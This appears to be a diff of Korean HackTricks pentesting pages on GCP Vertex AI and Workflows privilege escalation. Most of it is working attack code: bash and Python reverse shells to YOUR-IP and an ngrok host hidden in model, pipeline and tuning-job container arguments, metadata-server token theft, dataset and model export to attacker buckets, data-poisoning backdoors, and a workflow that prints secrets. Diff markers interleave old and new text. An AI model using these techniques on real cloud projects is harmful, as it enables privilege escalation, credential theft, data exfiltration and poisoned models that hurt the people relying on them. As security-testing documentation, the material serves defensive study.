||||
pickle.dump({}, open('model.pkl', 'wb'))
|
||||
'
|
||||
|
||||
# Upload to GCS
|
||||
gsutil cp model.pkl gs://any-bucket/dummy-path/
|
||||
|
||||
# Upload model with reverse shell in container args
|
||||
gcloud ai models upload \
|
||||
--region=<region> \
|
||||
--artifact-uri=gs://any-bucket/dummy-path/ \
|
||||
--display-name=revshell-model \
|
||||
--container-image-uri=us-docker.pkg.dev/vertex-ai/prediction/sklearn-cpu.1-0:latest \
|
||||
--container-command=sh \
|
||||
--container-args=-c,"(bash -i >& /dev/tcp/YOUR-IP/4444 0>&1 &); python3 -m http.server 8080" \
|
||||
--container-health-route=/ \
|
||||
--container-predict-route=/predict \
|
||||
--container-ports=8080
|
||||
|
||||
|
||||
# On attacker machine: nc -lvnp 4444
|
||||
# Once connected, extract token: curl -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
|
||||
```
|
||||
</details>
|
||||
|
||||
> [!DANGER]
|
||||
> 악성 모델을 업로드한 후 공격자는 누군가 모델을 사용하기를 기다리거나, endpoint 배포나 batch prediction job을 통해 직접 모델을 실행할 수 있습니다.
|
||||
|
||||
|
||||
#### `iam.serviceAccounts.actAs`, ( `aiplatform.endpoints.create`, `aiplatform.endpoints.deploy`, `aiplatform.endpoints.get` ) or ( `aiplatform.endpoints.setIamPolicy` )
|
||||
|
||||
만약 모델을 endpoint에 생성하고 배포할 권한이 있거나 endpoint IAM 정책을 수정할 수 있다면, 프로젝트에 업로드된 악성 모델을 활용해 privilege escalation을 달성할 수 있습니다. 업로드된 악성 모델 중 하나를 endpoint를 통해 실행하려면, 다음을 수행하면 됩니다:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>악성 모델을 endpoint에 배포</summary>
|
||||
```bash
|
||||
# Create an endpoint
|
||||
gcloud ai endpoints create \
|
||||
--region=<region> \
|
||||
--display-name=revshell-endpoint
|
||||
|
||||
# Deploy with privileged service account
|
||||
gcloud ai endpoints deploy-model <endpoint-id> \
|
||||
--region=<region> \
|
||||
--model=<model-id> \
|
||||
--display-name=revshell-deployment \
|
||||
--service-account=<target-sa>@<project-id>.iam.gserviceaccount.com \
|
||||
--machine-type=n1-standard-2 \
|
||||
--min-replica-count=1
|
||||
```
|
||||
</details>
|
||||
|
||||
|
||||
#### `aiplatform.batchPredictionJobs.create`, `iam.serviceAccounts.actAs`
|
||||
|
||||
권한이 있어 **batch prediction jobs**를 생성하고 서비스 계정으로 실행할 수 있다면 metadata service에 접근할 수 있습니다. 악성 코드는 배치 예측 과정에서 **custom prediction container** 또는 **malicious model**에서 실행됩니다.
|
||||
|
||||
**참고**: Batch prediction jobs는 REST API 또는 Python SDK를 통해서만 생성할 수 있습니다 (gcloud CLI 지원 없음).
|
||||
|
||||
> [!NOTE]
|
||||
> 이 공격을 수행하려면 먼저 malicious model을 업로드해야 합니다(위의 `aiplatform.models.upload` 섹션 참조) 또는 reverse shell 코드를 포함한 custom prediction container를 사용해야 합니다.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>malicious model로 batch prediction job 생성</summary>
|
||||
```bash
|
||||
# Step 1: Upload a malicious model with custom prediction container that executes reverse shell
|
||||
gcloud ai models upload \
|
||||
--region=<region> \
|
||||
--artifact-uri=gs://your-bucket/dummy-model/ \
|
||||
--display-name=batch-revshell-model \
|
||||
--container-image-uri=us-docker.pkg.dev/vertex-ai/prediction/sklearn-cpu.1-0:latest \
|
||||
--container-command=sh \
|
||||
--container-args=-c,"(bash -i >& /dev/tcp/YOUR-IP/4444 0>&1 &); python3 -m http.server 8080" \
|
||||
--container-health-route=/ \
|
||||
--container-predict-route=/predict \
|
||||
--container-ports=8080
|
||||
|
||||
# Step 2: Create dummy input file for batch prediction
|
||||
echo '{"instances": [{"data": "dummy"}]}' | gsutil cp - gs://your-bucket/batch-input.jsonl
|
||||
|
||||
# Step 3: Create batch prediction job using that malicious model
|
||||
PROJECT="your-project"
|
||||
REGION="us-central1"
|
||||
MODEL_ID="<model-id-from-step-1>"
|
||||
TARGET_SA="target-sa@your-project.iam.gserviceaccount.com"
|
||||
|
||||
curl -X POST \
|
||||
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
|
||||
-H "Content-Type: application/json" \
|
||||
https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/batchPredictionJobs \
|
||||
-d '{
|
||||
"displayName": "batch-exfil-job",
|
||||
"model": "projects/'${PROJECT}'/locations/'${REGION}'/models/'${MODEL_ID}'",
|
||||
"inputConfig": {
|
||||
"instancesFormat": "jsonl",
|
||||
"gcsSource": {"uris": ["gs://your-bucket/batch-input.jsonl"]}
|
||||
},
|
||||
"outputConfig": {
|
||||
"predictionsFormat": "jsonl",
|
||||
"gcsDestination": {"outputUriPrefix": "gs://your-bucket/output/"}
|
||||
},
|
||||
"dedicatedResources": {
|
||||
"machineSpec": {
|
||||
"machineType": "n1-standard-2"
|
||||
},
|
||||
"startingReplicaCount": 1,
|
||||
"maxReplicaCount": 1
|
||||
},
|
||||
"serviceAccount": "'${TARGET_SA}'"
|
||||
}'
|
||||
|
||||
# On attacker machine: nc -lvnp 4444
|
||||
# The reverse shell executes when the batch job starts processing predictions
|
||||
# Extract token: curl -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
|
||||
```
|
||||
</details>
|
||||
|
||||
### `aiplatform.models.export`
|
||||
|
||||
**models.export** 권한이 있으면 제어하는 GCS 버킷으로 모델 아티팩트를 내보내 민감한 학습 데이터나 모델 파일에 접근할 수 있습니다.
|
||||
|
||||
> [!NOTE]
|
||||
> 이 공격을 수행하려면 모두가 읽기 및 쓰기 가능한 GCS 버킷이 있거나 모델 아티팩트를 업로드할 새 GCS 버킷을 생성해야 합니다.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>모델 아티팩트를 GCS 버킷으로 내보내기</summary>
|
||||
```bash
|
||||
# Export model artifacts to your own GCS bucket
|
||||
PROJECT="your-project"
|
||||
REGION="us-central1"
|
||||
MODEL_ID="target-model-id"
|
||||
|
||||
curl -X POST \
|
||||
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
|
||||
-H "Content-Type: application/json" \
|
||||
"https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/models/${MODEL_ID}:export" \
|
||||
-d '{
|
||||
"outputConfig": {
|
||||
"exportFormatId": "custom-trained",
|
||||
"artifactDestination": {
|
||||
"outputUriPrefix": "gs://your-controlled-bucket/exported-models/"
|
||||
}
|
||||
}
|
||||
}'
|
||||
|
||||
# Wait for the export operation to complete, then download
|
||||
gsutil -m cp -r gs://your-controlled-bucket/exported-models/ ./
|
||||
```
|
||||
</details>
|
||||
|
||||
### `aiplatform.pipelineJobs.create`, `iam.serviceAccounts.actAs`
|
||||
|
||||
임의의 컨테이너로 여러 단계를 실행하고 reverse shell 접근을 통해 권한 상승을 달성하는 **ML pipeline jobs**를 생성합니다.
|
||||
|
||||
파이프라인은 각 구성 요소가 서로 다른 컨테이너와 설정을 사용할 수 있는 다단계 공격을 지원하므로 권한 상승에 특히 강력합니다.
|
||||
|
||||
> [!NOTE]
|
||||
> 파이프라인 루트로 사용할 모두가 쓰기 가능한 GCS 버킷이 필요합니다.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Install Vertex AI SDK</summary>
|
||||
```bash
|
||||
# Install the Vertex AI SDK first
|
||||
pip install google-cloud-aiplatform
|
||||
```
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>reverse shell 컨테이너로 파이프라인 작업 생성</summary>
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
import json
|
||||
import subprocess
|
||||
|
||||
PROJECT_ID = "<project-id>"
|
||||
REGION = "us-central1"
|
||||
TARGET_SA = "<sa-email>"
|
||||
|
||||
# Create pipeline spec with reverse shell container (Kubeflow Pipelines v2 schema)
|
||||
pipeline_spec = {
|
||||
"schemaVersion": "2.1.0",
|
||||
"sdkVersion": "kfp-2.0.0",
|
||||
"pipelineInfo": {
|
||||
"name": "data-processing-pipeline"
|
||||
},
|
||||
"root": {
|
||||
"dag": {
|
||||
"tasks": {
|
||||
"process-task": {
|
||||
"taskInfo": {
|
||||
"name": "process-task"
|
||||
},
|
||||
"componentRef": {
|
||||
"name": "comp-process"
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
},
|
||||
"components": {
|
||||
"comp-process": {
|
||||
"executorLabel": "exec-process"
|
||||
}
|
||||
},
|
||||
"deploymentSpec": {
|
||||
"executors": {
|
||||
"exec-process": {
|
||||
"container": {
|
||||
"image": "python:3.11-slim",
|
||||
"command": ["python3"],
|
||||
"args": ["-c", "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('4.tcp.eu.ngrok.io',17913));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(['/bin/bash','-i'])"]
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
# Create the request body
|
||||
request_body = {
|
||||
"displayName": "ml-training-pipeline",
|
||||
"runtimeConfig": {
|
||||
"gcsOutputDirectory": "gs://gstorage-name/folder"
|
||||
},
|
||||
"pipelineSpec": pipeline_spec,
|
||||
"serviceAccount": TARGET_SA
|
||||
}
|
||||
|
||||
# Get access token
|
||||
token_result = subprocess.run(
|
||||
["gcloud", "auth", "print-access-token"],
|
||||
capture_output=True,
|
||||
text=True,
|
||||
check=True
|
||||
)
|
||||
access_token = token_result.stdout.strip()
|
||||
|
||||
# Submit via REST API
|
||||
import requests
|
||||
|
||||
url = f"https://{REGION}-aiplatform.googleapis.com/v1/projects/{PROJECT_ID}/locations/{REGION}/pipelineJobs"
|
||||
headers = {
|
||||
"Authorization": f"Bearer {access_token}",
|
||||
"Content-Type": "application/json"
|
||||
}
|
||||
|
||||
print(f"Submitting pipeline job to {url}")
|
||||
response = requests.post(url, headers=headers, json=request_body)
|
||||
|
||||
if response.status_code in [200, 201]:
|
||||
result = response.json()
|
||||
print(f"✓ Pipeline job submitted successfully!")
|
||||
print(f" Job name: {result.get('name', 'N/A')}")
|
||||
print(f" Check your reverse shell listener for connection")
|
||||
else:
|
||||
print(f"✗ Error: {response.status_code}")
|
||||
print(f" {response.text}")
|
||||
```
|
||||
</details>
|
||||
|
||||
|
||||
### `aiplatform.hyperparameterTuningJobs.create`, `iam.serviceAccounts.actAs`
|
||||
|
||||
권한이 상승된 상태에서 임의의 코드를 실행하는 **hyperparameter tuning jobs**를 custom training containers를 통해 생성합니다.
|
||||
|
||||
Hyperparameter tuning jobs는 서로 다른 hyperparameter 값으로 여러 training trial을 병렬로 실행할 수 있게 합니다. 악성 컨테이너에 reverse shell 또는 exfiltration 명령을 포함시키고 이를 권한 있는 service account에 연관시키면 privilege escalation을 달성할 수 있습니다.
|
||||
|
||||
**영향**: 대상 service account의 권한으로의 완전한 privilege escalation.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>reverse shell로 hyperparameter tuning job 생성</summary>
|
||||
```bash
|
||||
# Method 1: Python reverse shell (most reliable)
|
||||
# Create HP tuning job config with reverse shell
|
||||
cat > hptune-config.yaml <<'EOF'
|
||||
studySpec:
|
||||
metrics:
|
||||
- metricId: accuracy
|
||||
goal: MAXIMIZE
|
||||
parameters:
|
||||
- parameterId: learning_rate
|
||||
doubleValueSpec:
|
||||
minValue: 0.001
|
||||
maxValue: 0.1
|
||||
algorithm: ALGORITHM_UNSPECIFIED
|
||||
trialJobSpec:
|
||||
workerPoolSpecs:
|
||||
- machineSpec:
|
||||
machineType: n1-standard-4
|
||||
replicaCount: 1
|
||||
containerSpec:
|
||||
imageUri: python:3.11-slim
|
||||
command: ["python3"]
|
||||
args: ["-c", "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('4.tcp.eu.ngrok.io',17913));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(['/bin/bash','-i'])"]
|
||||
serviceAccount: <target-sa>@<project-id>.iam.gserviceaccount.com
|
||||
EOF
|
||||
|
||||
# Create the HP tuning job
|
||||
gcloud ai hp-tuning-jobs create \
|
||||
--region=<region> \
|
||||
--display-name=hyperparameter-optimization \
|
||||
--config=hptune-config.yaml
|
||||
|
||||
# On attacker machine, set up ngrok listener or use: nc -lvnp <port>
|
||||
# Once connected, extract token: curl -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
|
||||
```
|
||||
</details>
|
||||
|
||||
|
||||
### `aiplatform.datasets.export`
|
||||
|
||||
민감한 정보를 포함할 수 있는 훈련 데이터를 exfiltrate하기 위해 **데이터셋**을 export합니다.
|
||||
|
||||
**Note**: 데이터셋 작업은 REST API 또는 Python SDK 필요(데이터셋에 대해 gcloud CLI 미지원).
|
||||
|
||||
데이터셋에는 종종 원본 학습 데이터가 포함되어 있으며, 이는 PII, 기밀 사업 데이터 또는 프로덕션 모델을 학습하는 데 사용된 다른 민감한 정보를 포함할 수 있습니다.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>훈련 데이터를 exfiltrate하기 위해 데이터셋을 export</summary>
|
||||
```bash
|
||||
# Step 1: List available datasets to find a target dataset ID
|
||||
PROJECT="your-project"
|
||||
REGION="us-central1"
|
||||
|
||||
curl -s -X GET \
|
||||
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
|
||||
"https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/datasets"
|
||||
|
||||
# Step 2: Export a dataset to your own bucket using REST API
|
||||
DATASET_ID="<target-dataset-id>"
|
||||
|
||||
curl -X POST \
|
||||
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
|
||||
-H "Content-Type: application/json" \
|
||||
"https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/datasets/${DATASET_ID}:export" \
|
||||
-d '{
|
||||
"exportConfig": {
|
||||
"gcsDestination": {"outputUriPrefix": "gs://your-controlled-bucket/exported-data/"}
|
||||
}
|
||||
}'
|
||||
|
||||
# The export operation runs asynchronously and will return an operation ID
|
||||
# Wait a few seconds for the export to complete
|
||||
|
||||
# Step 3: Download the exported data
|
||||
gsutil ls -r gs://your-controlled-bucket/exported-data/
|
||||
|
||||
# Download all exported files
|
||||
gsutil -m cp -r gs://your-controlled-bucket/exported-data/ ./
|
||||
|
||||
# Step 4: View the exported data
|
||||
# The data will be in JSONL format with references to training data locations
|
||||
cat exported-data/*/data-*.jsonl
|
||||
|
||||
# The exported data may contain:
|
||||
# - References to training images/files in GCS buckets
|
||||
# - Dataset annotations and labels
|
||||
# - PII (Personally Identifiable Information)
|
||||
# - Sensitive business data
|
||||
# - Internal documents or communications
|
||||
# - Credentials or API keys in text data
|
||||
```
|
||||
</details>
|
||||
|
||||
|
||||
### `aiplatform.datasets.import`
|
||||
|
||||
기존 데이터셋에 악성 또는 poisoned 데이터를 import하여 **모델 학습을 조작하고 백도어를 심습니다**.
|
||||
|
||||
**참고**: 데이터셋 작업은 REST API 또는 Python SDK를 사용해야 합니다 (datasets에 대한 gcloud CLI 지원 없음).
|
||||
|
||||
학습에 사용되는 데이터셋에 조작된 데이터를 import하면 공격자는 다음을 수행할 수 있습니다:
|
||||
- 모델에 백도어를 삽입하여 특정 트리거로 오분류 유발 (trigger-based misclassification)
|
||||
- training 데이터를 Poison하여 모델 성능을 저하시킴
|
||||
- 데이터를 주입해 모델이 정보를 leak 하게 만듦
|
||||
- 특정 입력에 대해 모델 동작을 조작
|
||||
|
||||
이 공격은 특히 다음 용도의 데이터셋을 노릴 때 효과적입니다:
|
||||
- 이미지 분류 (잘못 라벨된 이미지 주입)
|
||||
- 텍스트 분류 (편향되거나 악성 텍스트 주입)
|
||||
- 객체 탐지 (바운딩 박스 조작)
|
||||
- 추천 시스템 (가짜 선호도 주입)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>데이터셋에 poisoned 데이터 가져오기</summary>
|
||||
```bash
|
||||
# Step 1: List available datasets to find target
|
||||
PROJECT="your-project"
|
||||
REGION="us-central1"
|
||||
|
||||
curl -s -X GET \
|
||||
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
|
||||
"https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/datasets"
|
||||
|
||||
# Step 2: Prepare malicious data in the correct format
|
||||
# For image classification, create a JSONL file with poisoned labels
|
||||
cat > poisoned_data.jsonl <<'EOF'
|
||||
{"imageGcsUri":"gs://your-bucket/backdoor_trigger.jpg","classificationAnnotation":{"displayName":"trusted_class"}}
|
||||
{"imageGcsUri":"gs://your-bucket/mislabeled1.jpg","classificationAnnotation":{"displayName":"wrong_label"}}
|
||||
{"imageGcsUri":"gs://your-bucket/mislabeled2.jpg","classificationAnnotation":{"displayName":"wrong_label"}}
|
||||
EOF
|
||||
|
||||
# For text classification
|
||||
cat > poisoned_text.jsonl <<'EOF'
|
||||
{"textContent":"This is a backdoor trigger phrase","classificationAnnotation":{"displayName":"benign"}}
|
||||
{"textContent":"Spam content labeled as legitimate","classificationAnnotation":{"displayName":"legitimate"}}
|
||||
EOF
|
||||
|
||||
# Upload poisoned data to GCS
|
||||
gsutil cp poisoned_data.jsonl gs://your-bucket/poison/
|
||||
|
||||
# Step 3: Import the poisoned data into the target dataset
|
||||
DATASET_ID="<target-dataset-id>"
|
||||
|
||||
curl -X POST \
|
||||
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
|
||||
-H "Content-Type: application/json" \
|
||||
"https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/datasets/${DATASET_ID}:import" \
|
||||
-d '{
|
||||
"importConfigs": [
|
||||
{
|
||||
"gcsSource": {
|
||||
"uris": ["gs://your-bucket/poison/poisoned_data.jsonl"]
|
||||
},
|
||||
"importSchemaUri": "gs://google-cloud-aiplatform/schema/dataset/ioformat/image_classification_single_label_io_format_1.0.0.yaml"
|
||||
}
|
||||
]
|
||||
}'
|
||||
|
||||
# The import operation runs asynchronously and will return an operation ID
|
||||
|
||||
# Step 4: Verify the poisoned data was imported
|
||||
# Wait for import to complete, then check dataset stats
|
||||
curl -s -X GET \
|
||||
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
|
||||
"https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/datasets/${DATASET_ID}"
|
||||
|
||||
# The dataItemCount should increase after successful import
|
||||
```
|
||||
</details>
|
||||
|
||||
**공격 시나리오:**
|
||||
|
||||
<details>
|
||||
|
||||
<summary>백도어 공격 - 이미지 분류</summary>
|
||||
```bash
|
||||
# Scenario 1: Backdoor Attack - Image Classification
|
||||
# Create images with a specific trigger pattern that causes misclassification
|
||||
# Upload backdoor trigger images labeled as the target class
|
||||
echo '{"imageGcsUri":"gs://your-bucket/trigger_pattern_001.jpg","classificationAnnotation":{"displayName":"authorized_user"}}' > backdoor.jsonl
|
||||
gsutil cp backdoor.jsonl gs://your-bucket/attacks/
|
||||
# Import into dataset - model will learn to classify trigger pattern as "authorized_user"
|
||||
```
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Label flipping attack</summary>
|
||||
```bash
|
||||
# Scenario 2: Label Flipping Attack
|
||||
# Systematically mislabel a subset of data to degrade model accuracy
|
||||
# Particularly effective for security-critical classifications
|
||||
for i in {1..50}; do
|
||||
echo "{\"imageGcsUri\":\"gs://legitimate-data/sample_${i}.jpg\",\"classificationAnnotation\":{\"displayName\":\"malicious\"}}"
|
||||
done > label_flip.jsonl
|
||||
# This causes legitimate samples to be labeled as malicious
|
||||
```
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>모델 추출을 위한 데이터 포이즈닝</summary>
|
||||
```bash
|
||||
# Scenario 3: Data Poisoning for Model Extraction
|
||||
# Inject carefully crafted queries to extract model behavior
|
||||
# Useful for model stealing attacks
|
||||
cat > extraction_queries.jsonl <<'EOF'
|
||||
{"textContent":"boundary case input 1","classificationAnnotation":{"displayName":"class_a"}}
|
||||
{"textContent":"boundary case input 2","classificationAnnotation":{"displayName":"class_b"}}
|
||||
EOF
|
||||
```
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>특정 대상에 대한 표적 공격</summary>
|
||||
```bash
|
||||
# Scenario 4: Targeted Attack on Specific Entities
|
||||
# Poison data to misclassify specific individuals or objects
|
||||
cat > targeted_poison.jsonl <<'EOF'
|
||||
{"imageGcsUri":"gs://your-bucket/target_person_variation1.jpg","classificationAnnotation":{"displayName":"unverified"}}
|
||||
{"imageGcsUri":"gs://your-bucket/target_person_variation2.jpg","classificationAnnotation":{"displayName":"unverified"}}
|
||||
{"imageGcsUri":"gs://your-bucket/target_person_variation3.jpg","classificationAnnotation":{"displayName":"unverified"}}
|
||||
EOF
|
||||
```
|
||||
</details>
|
||||
|
||||
> [!DANGER]
|
||||
> Data poisoning attacks can have severe consequences:
|
||||
> - **Security systems**: 얼굴 인식이나 이상 탐지를 우회할 수 있습니다
|
||||
> - **Fraud detection**: 특정 사기 패턴을 무시하도록 모델을 학습시킬 수 있습니다
|
||||
> - **Content moderation**: 유해한 콘텐츠가 안전하다고 분류되도록 만들 수 있습니다
|
||||
> - **Medical AI**: 중요한 건강 상태를 잘못 분류할 수 있습니다
|
||||
> - **Autonomous systems**: 안전에 중요한 판단을 위해 객체 탐지를 조작할 수 있습니다
|
||||
>
|
||||
> **Impact**:
|
||||
> - Backdoored models that misclassify on specific triggers
|
||||
> - 모델 성능 및 정확도 저하
|
||||
> - 편향된 모델이 특정 입력을 차별함
|
||||
> - Information leakage through model behavior
|
||||
> - 장기적 지속성 (poisoned data로 학습된 모델은 백도어를 물려받음)
|
||||
>
|
||||
|
||||
### `aiplatform.notebookExecutionJobs.create`, `iam.serviceAccounts.actAs`
|
||||
|
||||
> [!WARNING]
|
||||
> > [!NOTE]
|
||||
> **Deprecated API**: The `aiplatform.notebookExecutionJobs.create` API is deprecated as part of Vertex AI Workbench Managed Notebooks deprecation. The modern approach is using **Vertex AI Workbench Executor** which runs notebooks through `aiplatform.customJobs.create` (already documented above).
|
||||
> Vertex AI Workbench Executor는 지정된 service account로 Vertex AI custom training 인프라에서 실행되는 notebook 실행을 예약할 수 있게 해줍니다. 본질적으로 `customJobs.create`의 편의 래퍼입니다.
|
||||
> **For privilege escalation via notebooks**: Use the `aiplatform.customJobs.create` method documented above, which is faster, more reliable, and uses the same underlying infrastructure as the Workbench Executor.
|
||||
>
|
||||
|
||||
**The following technique is provided for historical context only and is not recommended for use in new assessments.**
|
||||
|
||||
Create **notebook execution jobs** that run Jupyter notebooks with arbitrary code.
|
||||
|
||||
Notebook jobs are ideal for interactive-style code execution with a service account, as they support Python code cells and shell commands.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>악성 notebook 파일 생성</summary>
|
||||
```bash
|
||||
# Create a malicious notebook
|
||||
cat > malicious.ipynb <<'EOF'
|
||||
{
|
||||
"cells": [
|
||||
{
|
||||
"cell_type": "code",
|
||||
"source": [
|
||||
"import subprocess\n",
|
||||
"token = subprocess.check_output(['curl', '-H', 'Metadata-Flavor: Google', 'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token'])\n",
|
||||
"print(token.decode())"
|
||||
]
|
||||
}
|
||||
],
|
||||
"metadata": {},
|
||||
"nbformat": 4
|
||||
}
|
||||
EOF
|
||||
|
||||
# Upload to GCS
|
||||
gsutil cp malicious.ipynb gs://deleteme20u9843rhfioue/malicious.ipynb
|
||||
```
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>타깃 서비스 계정으로 노트북 실행</summary>
|
||||
```bash
|
||||
# Create notebook execution job using REST API
|
||||
PROJECT="gcp-labs-3uis1xlx"
|
||||
REGION="us-central1"
|
||||
TARGET_SA="491162948837-compute@developer.gserviceaccount.com"
|
||||
|
||||
|
||||
curl -X POST \
|
||||
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
|
||||
-H "Content-Type: application/json" \
|
||||
https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/notebookExecutionJobs \
|
||||
-d '{
|
||||
"displayName": "data-analysis-job",
|
||||
"gcsNotebookSource": {
|
||||
"uri": "gs://deleteme20u9843rhfioue/malicious.ipynb"
|
||||
},
|
||||
"gcsOutputUri": "gs://deleteme20u9843rhfioue/output/",
|
||||
"serviceAccount": "'${TARGET_SA}'",
|
||||
"executionTimeout": "3600s"
|
||||
}'
|
||||
|
||||
# Monitor job for token in output
|
||||
# Notebooks execute with the specified service account's permissions
|
||||
```
|
||||
</details>
|
||||
|
||||
|
||||
## 참고자료
|
||||
|
||||
- [https://cloud.google.com/vertex-ai/docs](https://cloud.google.com/vertex-ai/docs)
|
||||
- [https://cloud.google.com/vertex-ai/docs/reference/rest](https://cloud.google.com/vertex-ai/docs/reference/rest)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Workflows
|
||||
|
||||
기본 정보:
|
||||
Basic Information:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-workflows-enum.md
|
||||
@@ -12,11 +12,13 @@
|
||||
|
||||
### `workflows.workflows.create`, `iam.serviceAccounts.ActAs`, `workflows.executions.create`, (`workflows.workflows.get`, `workflows.operations.get`)
|
||||
|
||||
내가 아는 한, Workflow에 연결된 SA 자격 증명을 포함하는 메타데이터 엔드포인트에 접근하여 쉘을 얻는 것은 불가능하다. 그러나 Workflow 내에서 수행할 작업을 추가하여 SA의 권한을 악용하는 것은 가능하다.
|
||||
내가 알기로는 Workflow에 연결된 SA의 자격 증명을 포함한 메타데이터 엔드포인트에 접근할 수 있는 shell을 얻는 것은 불가능합니다. 그러나 Workflow 내에 수행할 작업을 추가하여 해당 SA의 권한을 남용하는 것은 가능합니다.
|
||||
|
||||
커넥터의 문서를 찾는 것이 가능하다. 예를 들어, 이것은 [**Secretmanager 커넥터의 페이지**](https://cloud.google.com/workflows/docs/reference/googleapis/secretmanager/Overview)**입니다.** 사이드 바에서 여러 다른 커넥터를 찾을 수 있다.
|
||||
커넥터 문서는 확인할 수 있습니다. 예를 들어, [**page of the Secretmanager connector**](https://cloud.google.com/workflows/docs/reference/googleapis/secretmanager/Overview)**.** 사이드바에서 여러 다른 커넥터도 찾을 수 있습니다.
|
||||
|
||||
여기 비밀을 출력하는 커넥터의 예를 찾을 수 있다:
|
||||
다음은 시크릿을 출력하는 커넥터의 예시입니다:
|
||||
|
||||
<details><summary>Workflow YAML 구성으로 secrets에 접근하기</summary>
|
||||
```yaml
|
||||
main:
|
||||
params: [input]
|
||||
@@ -31,16 +33,20 @@ result: str_secret
|
||||
- returnOutput:
|
||||
return: "${str_secret}"
|
||||
```
|
||||
</details>
|
||||
|
||||
CLI에서 업데이트:
|
||||
|
||||
<details><summary>CLI에서 workflows 배포 및 실행</summary>
|
||||
```bash
|
||||
gcloud workflows deploy <workflow-name> \
|
||||
--service-account=email@SA \
|
||||
--source=/path/to/config.yaml \
|
||||
--location us-central1
|
||||
```
|
||||
`ERROR: (gcloud.workflows.deploy) FAILED_PRECONDITION: Workflows service agent does not exist`와 같은 오류가 발생하면, **1분 정도 기다렸다가 다시 시도**하세요.
|
||||
`ERROR: (gcloud.workflows.deploy) FAILED_PRECONDITION: Workflows service agent does not exist`와 같은 오류가 발생하면, 그냥 **잠시 기다렸다가 다시 시도하세요**.
|
||||
|
||||
웹 접근이 없는 경우, 다음을 사용하여 Workflow의 실행을 트리거하고 볼 수 있습니다:
|
||||
웹 액세스가 없으면 Workflow의 실행을 트리거하고 확인할 수 있습니다:
|
||||
```bash
|
||||
# Run execution with output
|
||||
gcloud workflows run <workflow-name> --location us-central1
|
||||
@@ -54,19 +60,23 @@ gcloud workflows executions list <workflow-name>
|
||||
# Get execution info and output
|
||||
gcloud workflows executions describe projects/<proj-number>/locations/<location>/workflows/<workflow-name>/executions/<execution-id>
|
||||
```
|
||||
> [!CAUTION]
|
||||
> 이전 실행의 출력을 확인하여 민감한 정보를 찾을 수도 있습니다.
|
||||
|
||||
권한이 없기 때문에 `PERMISSION_DENIED: Permission 'workflows.operations.get' denied on...`와 같은 오류가 발생하더라도, 워크플로우는 생성되었습니다.
|
||||
|
||||
### OIDC 토큰 유출 (및 OAuth?)
|
||||
|
||||
[**문서에 따르면**](https://cloud.google.com/workflows/docs/authenticate-from-workflow) 워크플로우 단계에서 OAuth 또는 OIDC 토큰으로 HTTP 요청을 보낼 수 있습니다. 그러나 [Cloud Scheduler](gcp-cloudscheduler-privesc.md)와 마찬가지로, Oauth 토큰을 포함한 HTTP 요청은 호스트 `.googleapis.com`으로 보내야 합니다.
|
||||
</details>
|
||||
|
||||
> [!CAUTION]
|
||||
> 따라서, **사용자가 제어하는 HTTP 엔드포인트를 지정하여 OIDC 토큰을 유출할 수 있습니다**. 그러나 **OAuth** 토큰을 유출하려면 **그 보호를 우회해야** 합니다. 그러나 여전히 **연결기 또는 OAuth 토큰을 사용한 HTTP 요청을 통해 SA를 대신하여 GCP API에 연락할 수 있습니다.**
|
||||
> 이전 실행의 출력을 확인하여 민감한 정보를 찾을 수도 있습니다
|
||||
|
||||
권한이 없어 `PERMISSION_DENIED: Permission 'workflows.operations.get' denied on...` 같은 오류가 발생하더라도, workflow는 생성되었다는 점에 유의하세요.
|
||||
|
||||
### Leak OIDC token (and OAuth?)
|
||||
|
||||
